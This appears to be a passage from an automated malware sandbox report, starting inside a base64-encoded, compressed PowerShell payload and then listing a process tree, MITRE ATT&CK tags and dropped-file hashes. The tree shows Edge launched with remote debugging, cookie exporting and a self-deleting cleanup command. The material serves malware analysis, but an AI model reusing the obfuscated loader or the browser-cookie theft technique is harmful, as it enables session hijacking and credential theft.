ADkAUwBaAEgAVgBmADcAWQB5AGQAMABUAGgARgByAFMAdgBDAGwAaQBsAFoAQQBuAEwASABBAFIARwB4ADAAZgBTAGQAcQBjAHYAWgBDAG8AUwBjAG4AWgB4AGMAQwBCADYAZABrAFEAVABlADkAcwBaAFMAcQBFAGYARQBOAFAAUAAzAFQASgAxAEwAOQBYAEsAaAAxAG8AaQBzAFUAWABOAHUAVwBjAGIAMABSAGwAMABlAG0AZABOAGMAbABHADUAbgAxAGkAUwA0ADYAVgB0AC8AQQBBAD0APQAnACkALABbAHMAeQBTAFQAZQBNAC4ASQBvAC4AQwBPAG0AUAByAGUAUwBzAGkATwBOAC4AYwBPAG0AcAByAGUAUwBTAGkATwBOAE0AbwBkAGUAXQA6ADoAZABFAEMAbwBtAHAAcgBlAFMAUwApAHwAJQB7AG4ARQB3AC0AbwBCAGoARQBDAFQAIABJAE8ALgBzAHQAUgBlAGEAbQByAGUAYQBkAEUAUgAoACQAXwAsAFsAUwBZAFMAVABlAG0ALgBUAGUAeAB0AC4AZQBuAGMAbwBEAGkATgBHAF0AOgA6AEEAcwBjAGkASQApAH0AfAAlAHsAJABfAC4AUgBlAGEARABUAE8AZQBOAGQAKAApAH0AKQAgAA==3⤵
- Suspicious behavior: EnumeratesProcesses
- Suspicious use of AdjustPrivilegeToken
PID:5032 -
C:\Windows\Microsoft.NET\Framework64\v4.0.30319\csc.exe"C:\Windows\Microsoft.NET\Framework64\v4.0.30319\csc.exe" /noconfig /fullpaths @"C:\Users\Admin\AppData\Local\Temp\aw4f5ufg\aw4f5ufg.cmdline"4⤵PID:4628
-
C:\Windows\Microsoft.NET\Framework64\v4.0.30319\cvtres.exeC:\Windows\Microsoft.NET\Framework64\v4.0.30319\cvtres.exe /NOLOGO /READONLY /MACHINE:IX86 "/OUT:C:\Users\Admin\AppData\Local\Temp\RES8F40.tmp" "c:\Users\Admin\AppData\Local\Temp\aw4f5ufg\CSCA182C6B590C24306A89C75F459F6FB14.TMP"5⤵PID:5796
-
-
-
-
C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe"C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --remote-debugging-port=9223 --profile-directory="Default"3⤵
- Uses browser remote debugging
- Drops file in Windows directory
- Enumerates system info in registry
- Modifies data under HKEY_USERS
- Modifies registry class
- Suspicious behavior: NtCreateUserProcessBlockNonMicrosoftBinary
- Suspicious use of FindShellTrayWindow
PID:3360 -
C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe"C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --type=crashpad-handler "--user-data-dir=C:\Users\Admin\AppData\Local\Microsoft\Edge\User Data" /prefetch:4 --monitor-self-annotation=ptype=crashpad-handler "--database=C:\Users\Admin\AppData\Local\Microsoft\Edge\User Data\Crashpad" --annotation=IsOfficialBuild=1 --annotation=channel= --annotation=chromium-version=133.0.6943.99 "--annotation=exe=C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --annotation=plat=Win64 --annotation=prod=Edge --annotation=ver=133.0.3065.69 --initial-client-data=0x240,0x244,0x248,0x23c,0x250,0x7ffd77aff208,0x7ffd77aff214,0x7ffd77aff2204⤵PID:4548
-
-
C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe"C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --type=utility --utility-sub-type=network.mojom.NetworkService --lang=en-US --service-sandbox-type=none --string-annotations --always-read-main-dll --field-trial-handle=1836,i,4888229333505861967,926555320352073862,262144 --variations-seed-version --mojo-platform-channel-handle=2224 /prefetch:114⤵PID:964
-
-
C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe"C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --type=gpu-process --string-annotations --gpu-preferences=UAAAAAAAAADgAAAEAAAAAAAAAAAAAAAAAABgAAEAAAAAAAAAAAAAAAAAAAACAAAAAAAAAAAAAAAAAAAAAAAAABAAAAAAAAAAEAAAAAAAAAAIAAAAAAAAAAgAAAAAAAAA --always-read-main-dll --field-trial-handle=1964,i,4888229333505861967,926555320352073862,262144 --variations-seed-version --mojo-platform-channel-handle=1744 /prefetch:24⤵PID:1064
-
-
C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe"C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --type=utility --utility-sub-type=storage.mojom.StorageService --lang=en-US --service-sandbox-type=service --string-annotations --always-read-main-dll --field-trial-handle=1924,i,4888229333505861967,926555320352073862,262144 --variations-seed-version --mojo-platform-channel-handle=2672 /prefetch:134⤵PID:5360
-
-
C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe"C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --type=renderer --string-annotations --pdf-upsell-enabled --remote-debugging-port=9223 --video-capture-use-gpu-memory-buffer --lang=en-US --js-flags=--ms-user-locale= --device-scale-factor=1 --num-raster-threads=4 --enable-main-frame-before-activation --renderer-client-id=6 --always-read-main-dll --field-trial-handle=3448,i,4888229333505861967,926555320352073862,262144 --variations-seed-version --mojo-platform-channel-handle=3508 /prefetch:14⤵
- Uses browser remote debugging
PID:1740
-
-
C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe"C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --type=renderer --string-annotations --instant-process --pdf-upsell-enabled --remote-debugging-port=9223 --video-capture-use-gpu-memory-buffer --lang=en-US --js-flags=--ms-user-locale= --device-scale-factor=1 --num-raster-threads=4 --enable-main-frame-before-activation --renderer-client-id=5 --always-read-main-dll --field-trial-handle=3456,i,4888229333505861967,926555320352073862,262144 --variations-seed-version --mojo-platform-channel-handle=3512 /prefetch:14⤵
- Uses browser remote debugging
PID:5976
-
-
C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe"C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --type=utility --utility-sub-type=asset_store.mojom.AssetStoreService --lang=en-US --service-sandbox-type=asset_store_service --video-capture-use-gpu-memory-buffer --string-annotations --always-read-main-dll --field-trial-handle=4564,i,4888229333505861967,926555320352073862,262144 --variations-seed-version --mojo-platform-channel-handle=5016 /prefetch:144⤵PID:5540
-
-
C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe"C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --type=utility --utility-sub-type=entity_extraction_service.mojom.Extractor --lang=en-US --service-sandbox-type=entity_extraction --onnx-enabled-for-ee --video-capture-use-gpu-memory-buffer --string-annotations --always-read-main-dll --field-trial-handle=4980,i,4888229333505861967,926555320352073862,262144 --variations-seed-version --mojo-platform-channel-handle=5012 /prefetch:144⤵PID:1500
-
-
C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe"C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --type=utility --utility-sub-type=data_decoder.mojom.DataDecoderService --lang=en-US --service-sandbox-type=service --video-capture-use-gpu-memory-buffer --string-annotations --always-read-main-dll --field-trial-handle=6108,i,4888229333505861967,926555320352073862,262144 --variations-seed-version --mojo-platform-channel-handle=6124 /prefetch:144⤵PID:2092
-
-
C:\Program Files (x86)\Microsoft\Edge\Application\133.0.3065.69\identity_helper.exe"C:\Program Files (x86)\Microsoft\Edge\Application\133.0.3065.69\identity_helper.exe" --type=utility --utility-sub-type=winrt_app_id.mojom.WinrtAppIdService --lang=en-US --service-sandbox-type=none --video-capture-use-gpu-memory-buffer --string-annotations --always-read-main-dll --field-trial-handle=6336,i,4888229333505861967,926555320352073862,262144 --variations-seed-version --mojo-platform-channel-handle=6360 /prefetch:144⤵PID:8
-
-
C:\Program Files (x86)\Microsoft\Edge\Application\133.0.3065.69\identity_helper.exe"C:\Program Files (x86)\Microsoft\Edge\Application\133.0.3065.69\identity_helper.exe" --type=utility --utility-sub-type=winrt_app_id.mojom.WinrtAppIdService --lang=en-US --service-sandbox-type=none --video-capture-use-gpu-memory-buffer --string-annotations --always-read-main-dll --field-trial-handle=6336,i,4888229333505861967,926555320352073862,262144 --variations-seed-version --mojo-platform-channel-handle=6360 /prefetch:144⤵PID:4932
-
-
C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe"C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --type=utility --utility-sub-type=chrome.mojom.ProfileImport --lang=en-US --service-sandbox-type=none --video-capture-use-gpu-memory-buffer --string-annotations --always-read-main-dll --field-trial-handle=6412,i,4888229333505861967,926555320352073862,262144 --variations-seed-version --mojo-platform-channel-handle=6424 /prefetch:144⤵PID:6036
-
C:\Program Files (x86)\Microsoft\Edge\Application\133.0.3065.69\cookie_exporter.execookie_exporter.exe --cookie-json=11325⤵PID:3600
-
-
-
C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe"C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --type=utility --utility-sub-type=chrome.mojom.ProfileImport --lang=en-US --service-sandbox-type=none --video-capture-use-gpu-memory-buffer --string-annotations --always-read-main-dll --field-trial-handle=6128,i,4888229333505861967,926555320352073862,262144 --variations-seed-version --mojo-platform-channel-handle=6232 /prefetch:144⤵PID:4748
-
C:\Program Files (x86)\Microsoft\Edge\Application\133.0.3065.69\cookie_exporter.execookie_exporter.exe --cookie-json=5925⤵PID:2272
-
-
-
-
C:\Windows\SysWOW64\cmd.exe"C:\Windows\system32\cmd.exe" /c timeout /t 11 & rd /s /q "C:\ProgramData\ec2v3" & exit3⤵
- System Location Discovery: System Language Discovery
PID:4860 -
C:\Windows\SysWOW64\timeout.exetimeout /t 114⤵
- System Location Discovery: System Language Discovery
- Delays execution with timeout.exe
PID:436
-
-
-
-
C:\Program Files\Google\Chrome\Application\133.0.6943.60\elevation_service.exe"C:\Program Files\Google\Chrome\Application\133.0.6943.60\elevation_service.exe"1⤵PID:4436
-
C:\Program Files\Google\Chrome\Application\133.0.6943.60\elevation_service.exe"C:\Program Files\Google\Chrome\Application\133.0.6943.60\elevation_service.exe"1⤵PID:5376
-
C:\Windows\system32\svchost.exeC:\Windows\system32\svchost.exe -k LocalSystemNetworkRestricted -p -s NgcSvc1⤵PID:2256
-
C:\Program Files (x86)\Microsoft\Edge\Application\133.0.3065.69\elevation_service.exe"C:\Program Files (x86)\Microsoft\Edge\Application\133.0.3065.69\elevation_service.exe"1⤵PID:2992
Network
MITRE ATT&CK Enterprise v16
Defense Evasion
Modify Authentication Process
1Obfuscated Files or Information
1Command Obfuscation
1Credential Access
Modify Authentication Process
1Steal Web Session Cookie
1Unsecured Credentials
2Credentials In Files
2Replay Monitor
Loading Replay Monitor...
Downloads
-
Filesize
2B
MD5d751713988987e9331980363e24189ce
SHA197d170e1550eee4afc0af065b78cda302a97674c
SHA2564f53cda18c2baa0c0354bb5f9a3ecbe5ed12ab4d8e11ba873c2f11161202b945
SHA512b25b294cb4deb69ea00a4c3cf3113904801b6015e5956bd019a8570b1fe1d6040e944ef3cdee16d0a46503ca6e659a25f21cf9ceddc13f352a3c98138c15d6af
-
Filesize
83KB
MD537ff0bd280e8ab126f3d6ede0b9d3305
SHA184b8e9a1b85695d13592eb93f3c6e9b7762947bd
SHA25640cf43e81b85f3c78c87c90d43e9f96c538dca47a03c9689e4622ca9b4bacaff
SHA5127723049fc8ed3890c592aa15bb0631f692b7ff2a09d5a0049414a9d6d1e5e55f33cf382efb31175af16a48b32aaf02638d7204b8200cd1f80f07c7efc7a2a148
-
Filesize
280B
MD5b64b527f9034d65977b9a710f4f24fb5
SHA1f1bd7ff7bd9bd8e9323ba78b5d598c5d5c66cc0d
SHA2563c806fb8165617a963ff477113ed4764314a3a95dec5636fbfe43e77a8ae94ff
SHA512df7dbe112066c831c2bc1ea38d0e826a5fb632542ce27203a4cac5491b132766dd758dc700f0e3f07b43de27b5a9e329d084a61cb3ffe747d926d6268d036298
-
Filesize
2B
MD599914b932bd37a50b983c5e7c90ae93b
SHA1bf21a9e8fbc5a3846fb05b4fa0859e0917b2202f
SHA25644136fa355b3678a1146ad16f7e8649e94fb4fc21fe77e8310c060f61caaff8a
SHA51227c74670adb75075fad058d5ceaf7b20c4e7786c83bae8a32f626f9782af34c9a33c2046ef60fd2a7878d378e29fec851806bbd9a67878f3a9f1cda4830763fd
-
Filesize
108KB
MD506d55006c2dec078a94558b85ae01aef
SHA16a9b33e794b38153f67d433b30ac2a7cf66761e6
SHA256088bb586f79dd99c5311d14e1560bbe0bb56225a1b4432727d2183341c762bcd
SHA512ec190652af9c213ccbb823e69c21d769c64e3b9bae27bea97503c352163bf70f93c67cebbf327bfc73bfd632c9a3ae57283b6e4019af04750fe18a2410a68e60
-
C:\Users\Admin\AppData\Local\Microsoft\Edge\User Data\Default\Service Worker\CacheStorage\3cedfb74d44f2e84198d23075aef16c34a668ceb\48e6e290-132b-4984-be8d-5c9e1ebdf6e3\index-dir\the-real-index
Filesize1KB
MD53f6dfeaeb1be49a9d0cfefb98693b1f7
SHA1ec1c201bbab814f5499e565d449f7b5636e646cb
SHA256f45a6a8e7ea0d69ab39f20f380ade97c1fb256cdeabbbec449f6b9b7d0bbef47
SHA51289f98f379c485b7cd5e28b58f72d4274736ea7245ee89e6ec15e6dcf5df3e4c9ce5ff0d1bf47635cdfaaefeca5c42e09ad4c33983751e6d64aeb5b974049a28a
-
C:\Users\Admin\AppData\Local\Microsoft\Edge\User Data\Default\Service Worker\CacheStorage\3cedfb74d44f2e84198d23075aef16c34a668ceb\48e6e290-132b-4984-be8d-5c9e1ebdf6e3\index-dir\the-real-index~RFe57b74a.TMP
Filesize1KB
MD535db1c2bdf526aa573b824c9de650505
SHA1e3b46e9552c42f27cf993b1e8975e0acc8df9644
SHA256cc6a6af03d45718d704df646dbf159ea9cfbbe1c58e517319c1098789fd2104b
SHA512e30a0d258c03755e4b785f2b7e28321173c5a68eb718d1e9a679aefc7e8356dcf454066287822ad78424ea2ef3d73a9c81efd9e6269c1be296e8df205f54f6c3
-
Filesize
22KB
MD5445d74ab98e9d6e0456b60486a2c4be7
SHA1cda5f44204a8371d0155acbe7d5b2675f7176edb
SHA256a97a0e875d0adea8c06590aff0093ae17785297b7355c2925a07f1f261d46ebf
SHA5126d198e257b78b6acfa4e7ac11079bc4ff99d796bb95578b5da5993494cc326f3511d096f2c5a54d6ce2a814c3024fa7bfdf436f3b86431c33be06726feb2c0e0
-
Filesize
38KB
MD5221c52e108a3104ef5d28deba7d1c1bf
SHA12443401cf6b1a637391059c987bb6d4c3e6611e9
SHA256bf637f3160da25a064f424775ceb7b7dd4cace0ec309db05964738a42bf23b28
SHA512a2489d48f320006c9023d320c346dd2465364e130885d46b92b4c3e2c3f3959a9120abbf49418b3876d19f149d7e3555bdcf28b182f7e8d96ac9afde97b01dcb
-
Filesize
1KB
MD56c1a90049a6acbef94573d139023601e
SHA1b7eb40fe031b705cc9b031d249ce77c937ee9320
SHA256e65a802504e2b2ba016f28f08eec9d3adf603e6a70cbd5b1fe2d25e613556aac
SHA5125a08317254d5c1150fa151ab2a5e3d4b132f20af95b2fa8fca00f6d6822ce3a3bb592b0851b248cd3c3ce68eb4db9085a4413f3b5936897af21efc0c545d3b56
-
Filesize
60B
MD5d17fe0a3f47be24a6453e9ef58c94641
SHA16ab83620379fc69f80c0242105ddffd7d98d5d9d
SHA25696ad1146eb96877eab5942ae0736b82d8b5e2039a80d3d6932665c1a4c87dcf7
SHA5125b592e58f26c264604f98f6aa12860758ce606d1c63220736cf0c779e4e18e3cec8706930a16c38b20161754d1017d1657d35258e58ca22b18f5b232880dec82
-
Filesize
4KB
MD58e7e115259b911d5436c065d0317ce77
SHA1308120ee003adee5a17c5897af611b82944ab413
SHA256c38f16a05957160fffd4e338d8777acc1d5b9598512e697f61efedb0de0b70b9
SHA512e8b3da2da34715e29b23f14cf9622dccc6fb3b7d8ab12ff557c71e9242f5289082e385ca0067b66ab1a11fca5dd338ae90ff5a9f080a55d0cc31ebec2775a2cc
-
Filesize
36KB
MD540a13f9b39d6d3e649cf21f1b47da9ad
SHA1b03d7f8ad2f90c61063e54cf45c01677f6a86942
SHA2563cd5effba4bc90a72efe5e97609c962dd91d5b50e41f13bfa0f5606d322a5278
SHA5127e821747ca4db1654c3ce01e31bc0bddfeb092464b0dea9aa8d5370c01dc0fc141fedcd168553c502a417b7703ced120ff53448c4135338cdff937a6f5f9cd5b
-
Filesize
652B
MD569ada5ea3dab30e018e96cd1b1ea6732
SHA15761f0c72b4f7353446323e93296ea412e4cdef3
SHA2565e433f64e6c2a2164b872abd4d1c49ad3231bbcb414013fc6025c789cfea7551
SHA512827862920e905f734701f9b58950447c2e58dc12c3ed47ec097b7d94a803a7b4b7e7c0b4c9acf8a40941a7def5b6f229b244320cee01a3cbe62a4b993afdc4f5
-
Filesize
1KB
MD53d1018b223caf0c61982a29cb26996cc
SHA1743fd8c82380e7d72ec1cb2e05f149e148874b0e
SHA256786a71b68cee9392682824e67abfb89e5ec70ee6fb37213491b5c9a95ac59c92
SHA5127a632143e76410669fff27e2fa184d572a788e9d315f7c2415c7013cb07026678fe1b3e4fb1a77411f82941d7a03c64632c07d3fc1398e2df5741471b9462980
-
Filesize
369B
MD5a8f066f45e9ab0180840ff6bd146a7e5
SHA10fb7e26fa1a1c6b74ea907d84ce61635f2b4337c
SHA256bffbc270c623ecf1ad8841207b05f36812fe80759103a308ad6761924ccb91e6
SHA5129c351067604963b5af9be9d82fc59796b89e75c7455c8a09afd9aa71c4b98789b5eab0415dff2ece119caa7dac82991ba6c46f4ffa7a328d6ff5aa4a5b88c2b4